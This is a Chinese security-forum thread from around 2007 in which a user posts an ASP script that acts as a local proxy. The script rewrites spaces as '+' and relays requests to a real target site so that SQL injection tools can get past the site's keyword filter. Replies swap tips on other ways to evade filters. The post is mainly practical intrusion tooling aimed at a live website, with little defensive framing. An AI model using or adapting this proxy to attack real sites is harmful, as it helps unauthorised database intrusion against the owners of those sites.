[讨论]本地转发绕过SQL过滤 SQL, 讨论

虚竹

[讨论]本地转发绕过SQL过滤
议题作者：武夫
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

今天检测一个站的时候,发现有SQL注入,但是当关键字和%20(空格)在一块出现的时候会提出错误,注入工具检测不了.加上他又是错误提示关闭,所以手工注入超级麻烦.为了充分发挥懒人的精神,我在本地搭建了IIS,写了如下代码,成功绕过.
Code Language : ASP
<%
id=request(\"id\")  '得到变量id
id=replace(id,\" \",\"+\")  '转换
url=\"http://www.xxxxx.com.cn/content.asp?id=\" & id
Set hackwolf = CreateObject(\"Microsoft.XMLHTTP\")
hackwolf.Open \"GET\",url,False      
hackwolf.Send()
res=hackwolf.responseBody
x=Bytes2bStr(res)
response.write x
set hackwolf=nothing

Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject(\"ADODB.Stream\")

BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = \"GB2312\"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
%>
Parsed in 0.006 seconds
帖子18 精华0 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-7-21 查看详细资料TOP 少女暴富的隐秘（图）

4fun
晶莹剔透§烈日灼然

MetalGear

见过别人cookies 注入时用过类似的方法。 楼主可否展开些讲， 这样我等菜鸟接受起来容易些。

比如， 同时过滤了 空格和and 等等情况 该如何替换？

先谢了！
帖子12 精华0 积分44 阅读权限40 在线时间20 小时 注册时间2007-10-4 最后登录2008-1-25 查看详细资料TOP 让女孩一夜变的更有女人味

gmwshz
晶莹剔透§烈日灼然

Ange细

这个是刺猬早就发过了，不久是这个，还可以HTTP头TTFCT http://WWW.TTFCT.COM

帖子279 精华4 积分4349 阅读权限100 性别男 在线时间111 小时 注册时间2006-2-13 最后登录2008-7-20 查看详细资料TOP 少女暴富的隐秘（图）

武夫
荣誉会员

木天子

引用:
引用第2楼fatcat于2007-10-17 00:39发表的 :
nb3里不是有空格替换的嘛，多此一举。这种东西也能叫饶过过滤，标题一个个取的真NB。
你懂什么叫以小见大嘛？
我拿这代码改改可以对付十种以上的不同的站
帖子18 精华0 积分3089 阅读权限100 性别男 在线时间12 小时 注册时间2006-7-11 最后登录2008-7-21 查看详细资料TOP 良辰择日，预测咨询，公司改名，权威易经

4fun
晶莹剔透§烈日灼然

朗月星空

挺不错的,这个可不仅仅能绕过空格哦,发挥一下想象力,HEHE每个人都有属于自已的世界，人生因此而精彩，HACK就是我的世界！

帖子209 精华30 积分3816 阅读权限100 性别男 在线时间433 小时 注册时间2005-9-9 最后登录2008-7-23 查看详细资料TOP

ttfct
荣誉会员

wy4302

nb3里不是有空格替换的嘛，多此一举。这种东西也能叫饶过过滤，标题一个个取的真NB。晕啊晕
帖子45 精华0 积分145 阅读权限40 性别男 来自浙江 在线时间68 小时 注册时间2004-11-9 最后登录2008-7-2 查看详细资料TOP 软件项目外包

pt007
荣誉会员

十六

想知道为什么本地搭建了IIS,写了上面的代码, 就可以成功绕过呢？ 注入软件可以自动识别你的代码？ 如何操作？ 可否详细赐教？

很菜的问题， 不好意思。
帖子12 精华0 积分44 阅读权限40 在线时间20 小时 注册时间2007-10-4 最后登录2008-1-25 查看详细资料TOP 赚更多的钱

fatcat
晶莹剔透§烈日灼然